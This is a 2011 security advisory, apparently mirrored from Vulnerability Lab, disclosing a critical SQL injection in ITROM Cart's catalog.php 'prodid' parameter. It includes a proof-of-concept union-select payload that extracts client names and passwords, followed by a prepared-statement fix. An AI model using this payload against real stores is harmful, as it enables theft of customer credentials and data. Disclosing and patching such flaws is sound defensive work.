Lucene search
K

ITROM Cart v1.0.x - SQL Injection Vulnerability

🗓️ 15 Jun 2011 00:00:00Reported by Vulnerability Research LaboratoryType 
vulnerlab
 vulnerlab
🔗 www.vulnerability-lab.com👁 13 Views

ITROM Cart v1.0.x SQL Injection Vulnerability, critical risk, fix with prepared statement

Code
Document Title:
===============
ITROM Cart v1.0.x - SQL Injection Vulnerability



Release Date:
=============
2011-06-15


Vulnerability Laboratory ID (VL-ID):
====================================
114


Product & Service Introduction:
===============================
It is a full featured, customizable, web based shopping cart ITROMCart that seamlessly integrates with most major 
Credit Card processing systems such as PayPal. Customisation of Design/Layout, Online Invoicing, Instant Customer 
Account set-up, Order tracking, Currency, Shipping, Tax calculation, Powerful web based admin, Upload/Edit Inventories,
and more! 

(Copy of Vendor Homepage: http://itrom.com/web/index.php?category=Products)




Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered a SQL-Injection Vulnerability on ITROM Cart  content management & shopping system.
A remote attacker can inject own sql statement on the affected application dbms to compromise the system and read private user data.



Vulnerability Disclosure Timeline:
==================================
2011-06-08:	Public or Non-Public Disclosure



Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
Due to unparsed statement of requested paramerer, an attacker is able to inject own sql statements.
Attackers can read passwords, id, emails, usernames or banking details out of the application database.

Vulnerable Modules:
				[+] Catalog Listing


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

Path     : http://www.server.com/storefolder/***
File     : catalog.php
Parameter: ?action=view&prodid=

http://localhost/store/catalog.php?action=view&prodid=1+union+select+1,2,concat_ws(0x3a,name,passworx),4,5,6,7,8,9,10,11,12,13+from+clients
Input    : 1+union+select+1,2,concat_ws(0x3a,name,passworX),4,5,6,7,8,9,10,11,12,13+from+clients


Solution - Fix & Patch:
=======================
Use Prepared Statements to work secure.

Example:
$stmt = $dbh->prepare(INSERT INTO REGISTRY (name, value) VALUES (:name, :value));
$stmt->bindParam(name, $name);
$stmt->bindParam(value, $value);



Security Risk:
==============
The security risk of the vulnerability is estimated as critical & needs to be fixed as soon as possible.


Credits & Authors:
==================
Vulnerability Research Laboratory


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation